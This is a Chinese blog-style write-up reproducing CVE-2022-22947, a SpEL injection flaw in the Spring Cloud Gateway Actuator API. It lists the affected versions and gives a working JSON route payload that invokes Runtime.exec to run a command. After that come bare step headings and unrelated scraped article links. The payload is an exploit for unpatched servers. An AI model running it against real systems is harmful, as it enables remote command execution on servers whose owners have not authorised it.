文章目录

  • Spring Cloud Gateway
    • 漏洞版本
  • 漏洞复现
    • 1、IP:端口,抓包修改请求包,构造包含恶意SpEL表达式的路由
    • 2、刷新网关,触发SpEL表达式执行
    • 3、查看SpEL表达式执行结果
    • 4、删除所添加的路由
    • 5、刷新路由

Spring Cloud Gateway

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,ShortcutConfigurable 接口getValue()中使用了 StandardEvaluationContext 类来执行 SpEL 表达式,当攻击者可以访问Actuator API的情况下,可以利用该漏洞执行任意命令。

漏洞版本

Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
旧的、不受支持的版本也会受到影响

漏洞复现

1、IP:端口,抓包修改请求包,构造包含恶意SpEL表达式的路由

{"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}}],"uri": "http://example.com"
}

id:指定新路由的名称,必须全局唯一;
filters:字段给这条路由指定若干个过滤器。过滤器用于对请求和响应进行修改;
name:字段指定要添加的过滤器,这里添加了一个 AddResponseHeader 过滤器,用于 gateway 给客户端返回响应之前添加一个响应头;
args.name:字段指定要添加的响应头;
args.value:字段指定响应头的值。这里的值是要执行的 SpEL 表达式,用于执行 id 命令。注意需要将命令输出结尾的换行符去掉,否则过滤器执行时会抛出异常说「响应头的值不能以 \r 或 \n 结尾」;
uri:字段指定将客户端请求转发到 http://example.com。

2、刷新网关,触发SpEL表达式执行

3、查看SpEL表达式执行结果

4、删除所添加的路由

5、刷新路由

漏洞复现----42、Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)相关推荐

  1. Spring Cloud Gateway 监控器API

    / gateway执行器端点允许监视Spring Cloud Gateway应用程序并与之交互.要进行远程访问,必须在应用程序属性中通过HTTP或JMX启用和公开端点. application.pro ...

  2. Spring Cloud Gateway高危漏洞修复方案

    小菜鸟的个人博客已经正式上线且对外开放啦- 博客访问地址:小菜鸟的大梦想 欢迎各位同学扫码关注本人公众号 ↓↓↓ 更多优质内容将 首发 公众号 2022年3月1日,Spring官方发布了关于Sprin ...

  3. Spring Cloud Gateway rce

    Spring Cloud Gateway rce cve-2022-22947 漏洞描述: Spring Cloud Gateway是Spring中的一个API网关.其3.1.0及3.0.6版本(包含 ...

  4. Spring Cloud Gateway 2.1.0 中文官网文档

    目录 1. How to Include Spring Cloud Gateway 2. Glossary 3. How It Works 4. Route Predicate Factories 5 ...

  5. Spring Cloud Gateway 3.1.3最新版中文手册官网2022

    Spring Cloud Gateway 3.1.3 该项目提供了一个库,用于在 Spring WebFlux 之上构建 API 网关.Spring Cloud Gateway 旨在提供一种简单而有效 ...

  6. 网关 翻译版本 spring cloud gateway

    Spring Cloud Gateway 官网原文地址 https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html ...

  7. 有什么办法动态更改yml的值吗_基于Redis实现Spring Cloud Gateway的动态管理

    转载本文需注明出处:微信公众号EAWorld,违者必究. 引言: Spring Cloud Gateway是当前使用非常广泛的一种API网关.它本身能力并不能完全满足企业对网关的期望,人们希望它可以提 ...

  8. Spring Cloud Gateway 入门

    认识 Spring Cloud Gateway Spring Cloud Gateway 是一款基于 Spring 5,Project Reactor 以及 Spring Boot 2 构建的 API ...

  9. Spring Cloud Gateway远程代码执行CVE-2022-22947漏洞分析及复现

    0x01 漏洞描述 Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单.有效.统一的 ...

最新文章

  1. 朴素、Select、Poll和Epoll网络编程模型实现和分析——Poll模型
  2. beta冲刺(2/7)
  3. Java集合HashSet
  4. tomcat配置一个线程来调试ThreadLocal的代码问题
  5. Linux运维趋势采摘 -14期 【第一次编辑】
  6. vue中mixins的使用方法和注意地方
  7. 微信收款音响s3服务器断开,微信收款音响s2和s3有什么区别
  8. 尚学堂java 答案解析 第六章
  9. Python3实现百度云盘资源自动转存
  10. Windows Server AppFabric简介
  11. 禁止搜狗拼音输入法自动更新
  12. 怎么查看电脑配置详情
  13. 数学中的哈斯图如何构造?附实例
  14. 2023java面试看完这篇笔记薪资和offer稳了!
  15. KMP算法-严蔚敏数据结构
  16. 被阿里舍弃,2020年了,还有人在迷恋Oracle数据库?
  17. 物料账期、财务账期之间区别
  18. 【历史上的今天】3 月 19 日:图灵奖人工智能先驱诞生;微软发布 IE8;Android Auto 上线
  19. [ShaderGraph]15.云海效果
  20. Chatgpt人工智能的聊天机器人来给软件测试人员的影响是什么?

热门文章

  1. [CAD] 彩色CAD导出为黑白PDF
  2. mac上安装windows系统
  3. C# winform与Javascript的相互调用
  4. Jmeter之Beanshell测试加密接口
  5. Python datetime.datetime.isoweekday和date.weekday()
  6. 全国大学生电子设计竞赛2017年E题 自适应滤波器
  7. 如何解决未能初始化战场服务器,初始化失败,教您如何解决cf初始化失败
  8. 【Educoder离散数学实训】关系基础
  9. 近年来火热软件有哪些创意
  10. Python 判断能否被整除